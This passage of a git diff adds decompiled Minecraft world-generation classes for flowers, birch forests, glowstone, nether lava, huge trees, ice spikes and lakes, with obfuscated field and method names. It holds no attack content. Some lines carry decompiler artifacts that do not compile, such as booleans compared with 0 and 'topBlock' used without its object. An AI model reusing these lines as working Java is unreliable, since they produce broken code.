+    setGeneratedBlock(p_i45632_1_, p_i45632_2_);
+  }
+  
+  public void setGeneratedBlock(BlockFlower p_175914_1_, BlockFlower.EnumFlowerType p_175914_2_)
+  {
+    flower = p_175914_1_;
+    field_175915_b = p_175914_1_.getDefaultState().withProperty(p_175914_1_.func_176494_l(), p_175914_2_);
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    for (int var4 = 0; var4 < 64; var4++)
+    {
+      BlockPos var5 = p_180709_3_.add(p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8), p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8));
+      
+      if ((worldIn.isAirBlock(var5)) && ((!provider.getHasNoSky()) || (var5.getY() < 255)) && (flower.canBlockStay(worldIn, var5, field_175915_b)))
+      {
+        worldIn.setBlockState(var5, field_175915_b, 2);
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenForest.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenForest.java
new file mode 100644
index 0000000..d4ee44c
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenForest.java
@@ -0,0 +1,133 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockPlanks.EnumType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenForest extends WorldGenAbstractTree
+{
+  private boolean field_150531_a;
+  private static final String __OBFID = "CL_00000401";
+  
+  public WorldGenForest(boolean p_i45449_1_, boolean p_i45449_2_)
+  {
+    super(p_i45449_1_);
+    field_150531_a = p_i45449_2_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    int var4 = p_180709_2_.nextInt(3) + 5;
+    
+    if (field_150531_a)
+    {
+      var4 += p_180709_2_.nextInt(7);
+    }
+    
+    boolean var5 = true;
+    
+    if ((p_180709_3_.getY() >= 1) && (p_180709_3_.getY() + var4 + 1 <= 256))
+    {
+
+
+
+      for (int var6 = p_180709_3_.getY(); var6 <= p_180709_3_.getY() + 1 + var4; var6++)
+      {
+        byte var7 = 1;
+        
+        if (var6 == p_180709_3_.getY())
+        {
+          var7 = 0;
+        }
+        
+        if (var6 >= p_180709_3_.getY() + 1 + var4 - 2)
+        {
+          var7 = 2;
+        }
+        
+        for (int var8 = p_180709_3_.getX() - var7; (var8 <= p_180709_3_.getX() + var7) && (var5); var8++)
+        {
+          for (int var9 = p_180709_3_.getZ() - var7; (var9 <= p_180709_3_.getZ() + var7) && (var5); var9++)
+          {
+            if ((var6 >= 0) && (var6 < 256))
+            {
+              if (!func_150523_a(worldIn.getBlockState(new BlockPos(var8, var6, var9)).getBlock()))
+              {
+                var5 = false;
+              }
+              
+            }
+            else {
+              var5 = false;
+            }
+          }
+        }
+      }
+      
+      if (!var5)
+      {
+        return false;
+      }
+      
+
+      Block var16 = worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock();
+      
+      if (((var16 == Blocks.grass) || (var16 == Blocks.dirt) || (var16 == Blocks.farmland)) && (p_180709_3_.getY() < 256 - var4 - 1))
+      {
+        func_175921_a(worldIn, p_180709_3_.offsetDown());
+        
+
+        for (int var17 = p_180709_3_.getY() - 3 + var4; var17 <= p_180709_3_.getY() + var4; var17++)
+        {
+          int var8 = var17 - (p_180709_3_.getY() + var4);
+          int var9 = 1 - var8 / 2;
+          
+          for (int var10 = p_180709_3_.getX() - var9; var10 <= p_180709_3_.getX() + var9; var10++)
+          {
+            int var11 = var10 - p_180709_3_.getX();
+            
+            for (int var12 = p_180709_3_.getZ() - var9; var12 <= p_180709_3_.getZ() + var9; var12++)
+            {
+              int var13 = var12 - p_180709_3_.getZ();
+              
+              if ((Math.abs(var11) != var9) || (Math.abs(var13) != var9) || ((p_180709_2_.nextInt(2) != 0) && (var8 != 0)))
+              {
+                BlockPos var14 = new BlockPos(var10, var17, var12);
+                Block var15 = worldIn.getBlockState(var14).getBlock();
+                
+                if ((var15.getMaterial() == net.minecraft.block.material.Material.air) || (var15.getMaterial() == net.minecraft.block.material.Material.leaves))
+                {
+                  func_175905_a(worldIn, var14, Blocks.leaves, BlockPlanks.EnumType.BIRCH.func_176839_a());
+                }
+              }
+            }
+          }
+        }
+        
+        for (var17 = 0; var17 < var4; var17++)
+        {
+          Block var18 = worldIn.getBlockState(p_180709_3_.offsetUp(var17)).getBlock();
+          
+          if ((var18.getMaterial() == net.minecraft.block.material.Material.air) || (var18.getMaterial() == net.minecraft.block.material.Material.leaves))
+          {
+            func_175905_a(worldIn, p_180709_3_.offsetUp(var17), Blocks.log, BlockPlanks.EnumType.BIRCH.func_176839_a());
+          }
+        }
+        
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenGlowStone1.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenGlowStone1.java
new file mode 100644
index 0000000..0816dec
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenGlowStone1.java
@@ -0,0 +1,62 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenGlowStone1 extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000419";
+  
+  public WorldGenGlowStone1() {}
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    if (!worldIn.isAirBlock(p_180709_3_))
+    {
+      return false;
+    }
+    if (worldIn.getBlockState(p_180709_3_.offsetUp()).getBlock() != Blocks.netherrack)
+    {
+      return false;
+    }
+    
+
+    worldIn.setBlockState(p_180709_3_, Blocks.glowstone.getDefaultState(), 2);
+    
+    for (int var4 = 0; var4 < 1500; var4++)
+    {
+      BlockPos var5 = p_180709_3_.add(p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8), -p_180709_2_.nextInt(12), p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8));
+      
+      if (worldIn.getBlockState(var5).getBlock().getMaterial() == net.minecraft.block.material.Material.air)
+      {
+        int var6 = 0;
+        net.minecraft.util.EnumFacing[] var7 = net.minecraft.util.EnumFacing.values();
+        int var8 = var7.length;
+        
+        for (int var9 = 0; var9 < var8; var9++)
+        {
+          net.minecraft.util.EnumFacing var10 = var7[var9];
+          
+          if (worldIn.getBlockState(var5.offset(var10)).getBlock() == Blocks.glowstone)
+          {
+            var6++;
+          }
+          
+          if (var6 > 1) {
+            break;
+          }
+        }
+        
+
+        if (var6 == 1)
+        {
+          worldIn.setBlockState(var5, Blocks.glowstone.getDefaultState(), 2);
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenGlowStone2.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenGlowStone2.java
new file mode 100644
index 0000000..054ed48
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenGlowStone2.java
@@ -0,0 +1,62 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenGlowStone2 extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000413";
+  
+  public WorldGenGlowStone2() {}
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    if (!worldIn.isAirBlock(p_180709_3_))
+    {
+      return false;
+    }
+    if (worldIn.getBlockState(p_180709_3_.offsetUp()).getBlock() != Blocks.netherrack)
+    {
+      return false;
+    }
+    
+
+    worldIn.setBlockState(p_180709_3_, Blocks.glowstone.getDefaultState(), 2);
+    
+    for (int var4 = 0; var4 < 1500; var4++)
+    {
+      BlockPos var5 = p_180709_3_.add(p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8), p_180709_2_.nextInt(12), p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8));
+      
+      if (worldIn.getBlockState(var5).getBlock().getMaterial() == net.minecraft.block.material.Material.air)
+      {
+        int var6 = 0;
+        net.minecraft.util.EnumFacing[] var7 = net.minecraft.util.EnumFacing.values();
+        int var8 = var7.length;
+        
+        for (int var9 = 0; var9 < var8; var9++)
+        {
+          net.minecraft.util.EnumFacing var10 = var7[var9];
+          
+          if (worldIn.getBlockState(var5.offset(var10)).getBlock() == Blocks.glowstone)
+          {
+            var6++;
+          }
+          
+          if (var6 > 1) {
+            break;
+          }
+        }
+        
+
+        if (var6 == 1)
+        {
+          worldIn.setBlockState(var5, Blocks.glowstone.getDefaultState(), 2);
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenHellLava.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenHellLava.java
new file mode 100644
index 0000000..b6b5c06
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenHellLava.java
@@ -0,0 +1,96 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenHellLava extends WorldGenerator
+{
+  private final Block field_150553_a;
+  private final boolean field_94524_b;
+  private static final String __OBFID = "CL_00000414";
+  
+  public WorldGenHellLava(Block p_i45453_1_, boolean p_i45453_2_)
+  {
+    field_150553_a = p_i45453_1_;
+    field_94524_b = p_i45453_2_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    if (worldIn.getBlockState(p_180709_3_.offsetUp()).getBlock() != Blocks.netherrack)
+    {
+      return false;
+    }
+    if ((worldIn.getBlockState(p_180709_3_).getBlock().getMaterial() != net.minecraft.block.material.Material.air) && (worldIn.getBlockState(p_180709_3_).getBlock() != Blocks.netherrack))
+    {
+      return false;
+    }
+    
+
+    int var4 = 0;
+    
+    if (worldIn.getBlockState(p_180709_3_.offsetWest()).getBlock() == Blocks.netherrack)
+    {
+      var4++;
+    }
+    
+    if (worldIn.getBlockState(p_180709_3_.offsetEast()).getBlock() == Blocks.netherrack)
+    {
+      var4++;
+    }
+    
+    if (worldIn.getBlockState(p_180709_3_.offsetNorth()).getBlock() == Blocks.netherrack)
+    {
+      var4++;
+    }
+    
+    if (worldIn.getBlockState(p_180709_3_.offsetSouth()).getBlock() == Blocks.netherrack)
+    {
+      var4++;
+    }
+    
+    if (worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock() == Blocks.netherrack)
+    {
+      var4++;
+    }
+    
+    int var5 = 0;
+    
+    if (worldIn.isAirBlock(p_180709_3_.offsetWest()))
+    {
+      var5++;
+    }
+    
+    if (worldIn.isAirBlock(p_180709_3_.offsetEast()))
+    {
+      var5++;
+    }
+    
+    if (worldIn.isAirBlock(p_180709_3_.offsetNorth()))
+    {
+      var5++;
+    }
+    
+    if (worldIn.isAirBlock(p_180709_3_.offsetSouth()))
+    {
+      var5++;
+    }
+    
+    if (worldIn.isAirBlock(p_180709_3_.offsetDown()))
+    {
+      var5++;
+    }
+    
+    if (((!field_94524_b) && (var4 == 4) && (var5 == 1)) || (var4 == 5))
+    {
+      worldIn.setBlockState(p_180709_3_, field_150553_a.getDefaultState(), 2);
+      worldIn.func_175637_a(field_150553_a, p_180709_3_, p_180709_2_);
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenHugeTrees.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenHugeTrees.java
new file mode 100644
index 0000000..8f01a3d
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenHugeTrees.java
@@ -0,0 +1,153 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+
+
+
+public abstract class WorldGenHugeTrees
+  extends WorldGenAbstractTree
+{
+  protected final int baseHeight;
+  protected final int woodMetadata;
+  protected final int leavesMetadata;
+  protected int field_150538_d;
+  private static final String __OBFID = "CL_00000423";
+  
+  public WorldGenHugeTrees(boolean p_i45458_1_, int p_i45458_2_, int p_i45458_3_, int p_i45458_4_, int p_i45458_5_)
+  {
+    super(p_i45458_1_);
+    baseHeight = p_i45458_2_;
+    field_150538_d = p_i45458_3_;
+    woodMetadata = p_i45458_4_;
+    leavesMetadata = p_i45458_5_;
+  }
+  
+  protected int func_150533_a(Random p_150533_1_)
+  {
+    int var2 = p_150533_1_.nextInt(3) + baseHeight;
+    
+    if (field_150538_d > 1)
+    {
+      var2 += p_150533_1_.nextInt(field_150538_d);
+    }
+    
+    return var2;
+  }
+  
+  private boolean func_175926_c(World worldIn, BlockPos p_175926_2_, int p_175926_3_)
+  {
+    boolean var4 = true;
+    
+    if ((p_175926_2_.getY() >= 1) && (p_175926_2_.getY() + p_175926_3_ + 1 <= 256))
+    {
+      for (int var5 = 0; var5 <= 1 + p_175926_3_; var5++)
+      {
+        byte var6 = 2;
+        
+        if (var5 == 0)
+        {
+          var6 = 1;
+        }
+        else if (var5 >= 1 + p_175926_3_ - 2)
+        {
+          var6 = 2;
+        }
+        
+        for (int var7 = -var6; (var7 <= var6) && (var4); var7++)
+        {
+          for (int var8 = -var6; (var8 <= var6) && (var4); var8++)
+          {
+            if ((p_175926_2_.getY() + var5 < 0) || (p_175926_2_.getY() + var5 >= 256) || (!func_150523_a(worldIn.getBlockState(p_175926_2_.add(var7, var5, var8)).getBlock())))
+            {
+              var4 = false;
+            }
+          }
+        }
+      }
+      
+      return var4;
+    }
+    
+
+    return false;
+  }
+  
+
+  private boolean func_175927_a(BlockPos p_175927_1_, World worldIn)
+  {
+    BlockPos var3 = p_175927_1_.offsetDown();
+    Block var4 = worldIn.getBlockState(var3).getBlock();
+    
+    if (((var4 == Blocks.grass) || (var4 == Blocks.dirt)) && (p_175927_1_.getY() >= 2))
+    {
+      func_175921_a(worldIn, var3);
+      func_175921_a(worldIn, var3.offsetEast());
+      func_175921_a(worldIn, var3.offsetSouth());
+      func_175921_a(worldIn, var3.offsetSouth().offsetEast());
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  protected boolean func_175929_a(World worldIn, Random p_175929_2_, BlockPos p_175929_3_, int p_175929_4_)
+  {
+    return (func_175926_c(worldIn, p_175929_3_, p_175929_4_)) && (func_175927_a(p_175929_3_, worldIn));
+  }
+  
+  protected void func_175925_a(World worldIn, BlockPos p_175925_2_, int p_175925_3_)
+  {
+    int var4 = p_175925_3_ * p_175925_3_;
+    
+    for (int var5 = -p_175925_3_; var5 <= p_175925_3_ + 1; var5++)
+    {
+      for (int var6 = -p_175925_3_; var6 <= p_175925_3_ + 1; var6++)
+      {
+        int var7 = var5 - 1;
+        int var8 = var6 - 1;
+        
+        if ((var5 * var5 + var6 * var6 <= var4) || (var7 * var7 + var8 * var8 <= var4) || (var5 * var5 + var8 * var8 <= var4) || (var7 * var7 + var6 * var6 <= var4))
+        {
+          BlockPos var9 = p_175925_2_.add(var5, 0, var6);
+          Material var10 = worldIn.getBlockState(var9).getBlock().getMaterial();
+          
+          if ((var10 == Material.air) || (var10 == Material.leaves))
+          {
+            func_175905_a(worldIn, var9, Blocks.leaves, leavesMetadata);
+          }
+        }
+      }
+    }
+  }
+  
+  protected void func_175928_b(World worldIn, BlockPos p_175928_2_, int p_175928_3_)
+  {
+    int var4 = p_175928_3_ * p_175928_3_;
+    
+    for (int var5 = -p_175928_3_; var5 <= p_175928_3_; var5++)
+    {
+      for (int var6 = -p_175928_3_; var6 <= p_175928_3_; var6++)
+      {
+        if (var5 * var5 + var6 * var6 <= var4)
+        {
+          BlockPos var7 = p_175928_2_.add(var5, 0, var6);
+          Material var8 = worldIn.getBlockState(var7).getBlock().getMaterial();
+          
+          if ((var8 == Material.air) || (var8 == Material.leaves))
+          {
+            func_175905_a(worldIn, var7, Blocks.leaves, leavesMetadata);
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenIcePath.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenIcePath.java
new file mode 100644
index 0000000..50103c5
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenIcePath.java
@@ -0,0 +1,62 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenIcePath extends WorldGenerator
+{
+  private Block field_150555_a;
+  private int field_150554_b;
+  private static final String __OBFID = "CL_00000416";
+  
+  public WorldGenIcePath(int p_i45454_1_)
+  {
+    field_150555_a = Blocks.packed_ice;
+    field_150554_b = p_i45454_1_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    while ((worldIn.isAirBlock(p_180709_3_)) && (p_180709_3_.getY() > 2))
+    {
+      p_180709_3_ = p_180709_3_.offsetDown();
+    }
+    
+    if (worldIn.getBlockState(p_180709_3_).getBlock() != Blocks.snow)
+    {
+      return false;
+    }
+    
+
+    int var4 = p_180709_2_.nextInt(field_150554_b - 2) + 2;
+    byte var5 = 1;
+    
+    for (int var6 = p_180709_3_.getX() - var4; var6 <= p_180709_3_.getX() + var4; var6++)
+    {
+      for (int var7 = p_180709_3_.getZ() - var4; var7 <= p_180709_3_.getZ() + var4; var7++)
+      {
+        int var8 = var6 - p_180709_3_.getX();
+        int var9 = var7 - p_180709_3_.getZ();
+        
+        if (var8 * var8 + var9 * var9 <= var4 * var4)
+        {
+          for (int var10 = p_180709_3_.getY() - var5; var10 <= p_180709_3_.getY() + var5; var10++)
+          {
+            BlockPos var11 = new BlockPos(var6, var10, var7);
+            Block var12 = worldIn.getBlockState(var11).getBlock();
+            
+            if ((var12 == Blocks.dirt) || (var12 == Blocks.snow) || (var12 == Blocks.ice))
+            {
+              worldIn.setBlockState(var11, field_150555_a.getDefaultState(), 2);
+            }
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenIceSpike.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenIceSpike.java
new file mode 100644
index 0000000..e13d789
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenIceSpike.java
@@ -0,0 +1,131 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenIceSpike extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000417";
+  
+  public WorldGenIceSpike() {}
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    while ((worldIn.isAirBlock(p_180709_3_)) && (p_180709_3_.getY() > 2))
+    {
+      p_180709_3_ = p_180709_3_.offsetDown();
+    }
+    
+    if (worldIn.getBlockState(p_180709_3_).getBlock() != Blocks.snow)
+    {
+      return false;
+    }
+    
+
+    p_180709_3_ = p_180709_3_.offsetUp(p_180709_2_.nextInt(4));
+    int var4 = p_180709_2_.nextInt(4) + 7;
+    int var5 = var4 / 4 + p_180709_2_.nextInt(2);
+    
+    if ((var5 > 1) && (p_180709_2_.nextInt(60) == 0))
+    {
+      p_180709_3_ = p_180709_3_.offsetUp(10 + p_180709_2_.nextInt(30));
+    }
+    
+
+
+
+    for (int var6 = 0; var6 < var4; var6++)
+    {
+      float var7 = (1.0F - var6 / var4) * var5;
+      int var8 = net.minecraft.util.MathHelper.ceiling_float_int(var7);
+      
+      for (int var9 = -var8; var9 <= var8; var9++)
+      {
+        float var10 = net.minecraft.util.MathHelper.abs_int(var9) - 0.25F;
+        
+        for (int var11 = -var8; var11 <= var8; var11++)
+        {
+          float var12 = net.minecraft.util.MathHelper.abs_int(var11) - 0.25F;
+          
+          if (((var9 == 0) && (var11 == 0)) || ((var10 * var10 + var12 * var12 <= var7 * var7) && (((var9 != -var8) && (var9 != var8) && (var11 != -var8) && (var11 != var8)) || (p_180709_2_.nextFloat() <= 0.75F))))
+          {
+            Block var13 = worldIn.getBlockState(p_180709_3_.add(var9, var6, var11)).getBlock();
+            
+            if ((var13.getMaterial() == net.minecraft.block.material.Material.air) || (var13 == Blocks.dirt) || (var13 == Blocks.snow) || (var13 == Blocks.ice))
+            {
+              func_175906_a(worldIn, p_180709_3_.add(var9, var6, var11), Blocks.packed_ice);
+            }
+            
+            if ((var6 != 0) && (var8 > 1))
+            {
+              var13 = worldIn.getBlockState(p_180709_3_.add(var9, -var6, var11)).getBlock();
+              
+              if ((var13.getMaterial() == net.minecraft.block.material.Material.air) || (var13 == Blocks.dirt) || (var13 == Blocks.snow) || (var13 == Blocks.ice))
+              {
+                func_175906_a(worldIn, p_180709_3_.add(var9, -var6, var11), Blocks.packed_ice);
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    var6 = var5 - 1;
+    
+    if (var6 < 0)
+    {
+      var6 = 0;
+    }
+    else if (var6 > 1)
+    {
+      var6 = 1;
+    }
+    
+    for (int var14 = -var6; var14 <= var6; var14++)
+    {
+      int var8 = -var6;
+      
+      while (var8 <= var6)
+      {
+        BlockPos var15 = p_180709_3_.add(var14, -1, var8);
+        int var16 = 50;
+        
+        if ((Math.abs(var14) == 1) && (Math.abs(var8) == 1))
+        {
+          var16 = p_180709_2_.nextInt(5);
+        }
+        
+
+
+        while (var15.getY() > 50)
+        {
+          Block var17 = worldIn.getBlockState(var15).getBlock();
+          
+          if ((var17.getMaterial() != net.minecraft.block.material.Material.air) && (var17 != Blocks.dirt) && (var17 != Blocks.snow) && (var17 != Blocks.ice) && (var17 != Blocks.packed_ice))
+            break;
+          func_175906_a(worldIn, var15, Blocks.packed_ice);
+          var15 = var15.offsetDown();
+          var16--;
+          
+          if (var16 <= 0)
+          {
+            var15 = var15.offsetDown(p_180709_2_.nextInt(5) + 1);
+            var16 = p_180709_2_.nextInt(5);
+          }
+        }
+        
+
+
+
+        var8++;
+      }
+    }
+    
+
+
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenLakes.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenLakes.java
new file mode 100644
index 0000000..6d886e0
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenLakes.java
@@ -0,0 +1,178 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class WorldGenLakes extends WorldGenerator
+{
+  private Block field_150556_a;
+  private static final String __OBFID = "CL_00000418";
+  
+  public WorldGenLakes(Block p_i45455_1_)
+  {
+    field_150556_a = p_i45455_1_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    for (p_180709_3_ = p_180709_3_.add(-8, 0, -8); (p_180709_3_.getY() > 5) && (worldIn.isAirBlock(p_180709_3_)); p_180709_3_ = p_180709_3_.offsetDown()) {}
+    
+
+
+
+    if (p_180709_3_.getY() <= 4)
+    {
+      return false;
+    }
+    
+
+    p_180709_3_ = p_180709_3_.offsetDown(4);
+    boolean[] var4 = new boolean['ࠀ'];
+    int var5 = p_180709_2_.nextInt(4) + 4;
+    
+
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      double var7 = p_180709_2_.nextDouble() * 6.0D + 3.0D;
+      double var9 = p_180709_2_.nextDouble() * 4.0D + 2.0D;
+      double var11 = p_180709_2_.nextDouble() * 6.0D + 3.0D;
+      double var13 = p_180709_2_.nextDouble() * (16.0D - var7 - 2.0D) + 1.0D + var7 / 2.0D;
+      double var15 = p_180709_2_.nextDouble() * (8.0D - var9 - 4.0D) + 2.0D + var9 / 2.0D;
+      double var17 = p_180709_2_.nextDouble() * (16.0D - var11 - 2.0D) + 1.0D + var11 / 2.0D;
+      
+      for (int var19 = 1; var19 < 15; var19++)
+      {
+        for (int var20 = 1; var20 < 15; var20++)
+        {
+          for (int var21 = 1; var21 < 7; var21++)
+          {
+            double var22 = (var19 - var13) / (var7 / 2.0D);
+            double var24 = (var21 - var15) / (var9 / 2.0D);
+            double var26 = (var20 - var17) / (var11 / 2.0D);
+            double var28 = var22 * var22 + var24 * var24 + var26 * var26;
+            
+            if (var28 < 1.0D)
+            {
+              var4[((var19 * 16 + var20) * 8 + var21)] = true;
+            }
+          }
+        }
+      }
+    }
+    
+
+
+
+
+    for (var6 = 0; var6 < 16; var6++)
+    {
+      for (int var30 = 0; var30 < 16; var30++)
+      {
+        for (int var8 = 0; var8 < 8; var8++)
+        {
+          boolean var32 = (var4[((var6 * 16 + var30) * 8 + var8)] == 0) && (((var6 < 15) && (var4[(((var6 + 1) * 16 + var30) * 8 + var8)] != 0)) || ((var6 > 0) && (var4[(((var6 - 1) * 16 + var30) * 8 + var8)] != 0)) || ((var30 < 15) && (var4[((var6 * 16 + var30 + 1) * 8 + var8)] != 0)) || ((var30 > 0) && (var4[((var6 * 16 + (var30 - 1)) * 8 + var8)] != 0)) || ((var8 < 7) && (var4[((var6 * 16 + var30) * 8 + var8 + 1)] != 0)) || ((var8 > 0) && (var4[((var6 * 16 + var30) * 8 + (var8 - 1))] != 0)));
+          
+          if (var32)
+          {
+            Material var10 = worldIn.getBlockState(p_180709_3_.add(var6, var8, var30)).getBlock().getMaterial();
+            
+            if ((var8 >= 4) && (var10.isLiquid()))
+            {
+              return false;
+            }
+            
+            if ((var8 < 4) && (!var10.isSolid()) && (worldIn.getBlockState(p_180709_3_.add(var6, var8, var30)).getBlock() != field_150556_a))
+            {
+              return false;
+            }
+          }
+        }
+      }
+    }
+    
+    for (var6 = 0; var6 < 16; var6++)
+    {
+      for (int var30 = 0; var30 < 16; var30++)
+      {
+        for (int var8 = 0; var8 < 8; var8++)
+        {
+          if (var4[((var6 * 16 + var30) * 8 + var8)] != 0)
+          {
+            worldIn.setBlockState(p_180709_3_.add(var6, var8, var30), var8 >= 4 ? Blocks.air.getDefaultState() : field_150556_a.getDefaultState(), 2);
+          }
+        }
+      }
+    }
+    
+    for (var6 = 0; var6 < 16; var6++)
+    {
+      for (int var30 = 0; var30 < 16; var30++)
+      {
+        for (int var8 = 4; var8 < 8; var8++)
+        {
+          if (var4[((var6 * 16 + var30) * 8 + var8)] != 0)
+          {
+            BlockPos var33 = p_180709_3_.add(var6, var8 - 1, var30);
+            
+            if ((worldIn.getBlockState(var33).getBlock() == Blocks.dirt) && (worldIn.getLightFor(net.minecraft.world.EnumSkyBlock.SKY, p_180709_3_.add(var6, var8, var30)) > 0))
+            {
+              BiomeGenBase var34 = worldIn.getBiomeGenForCoords(var33);
+              
+              if (topBlock.getBlock() == Blocks.mycelium)
+              {
+                worldIn.setBlockState(var33, Blocks.mycelium.getDefaultState(), 2);
+              }
+              else
+              {
+                worldIn.setBlockState(var33, Blocks.grass.getDefaultState(), 2);
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    if (field_150556_a.getMaterial() == Material.lava)
+    {
+      for (var6 = 0; var6 < 16; var6++)
+      {
+        for (int var30 = 0; var30 < 16; var30++)
+        {
+          for (int var8 = 0; var8 < 8; var8++)
+          {
+            boolean var32 = (var4[((var6 * 16 + var30) * 8 + var8)] == 0) && (((var6 < 15) && (var4[(((var6 + 1) * 16 + var30) * 8 + var8)] != 0)) || ((var6 > 0) && (var4[(((var6 - 1) * 16 + var30) * 8 + var8)] != 0)) || ((var30 < 15) && (var4[((var6 * 16 + var30 + 1) * 8 + var8)] != 0)) || ((var30 > 0) && (var4[((var6 * 16 + (var30 - 1)) * 8 + var8)] != 0)) || ((var8 < 7) && (var4[((var6 * 16 + var30) * 8 + var8 + 1)] != 0)) || ((var8 > 0) && (var4[((var6 * 16 + var30) * 8 + (var8 - 1))] != 0)));
+            
+            if ((var32) && ((var8 < 4) || (p_180709_2_.nextInt(2) != 0)) && (worldIn.getBlockState(p_180709_3_.add(var6, var8, var30)).getBlock().getMaterial().isSolid()))
+            {
+              worldIn.setBlockState(p_180709_3_.add(var6, var8, var30), Blocks.stone.getDefaultState(), 2);
+            }
+          }
+        }
+      }
+    }
+    
+    if (field_150556_a.getMaterial() == Material.water)
+    {
+      for (var6 = 0; var6 < 16; var6++)
+      {
+        for (int var30 = 0; var30 < 16; var30++)
+        {
+          byte var31 = 4;
+          
+          if (worldIn.func_175675_v(p_180709_3_.add(var6, var31, var30)))
+          {
+            worldIn.setBlockState(p_180709_3_.add(var6, var31, var30), Blocks.ice.getDefaultState(), 2);
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenLiquids.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenLiquids.java
new file mode 100644
index 0000000..e69fa43
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenLiquids.java
@@ -0,0 +1,88 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
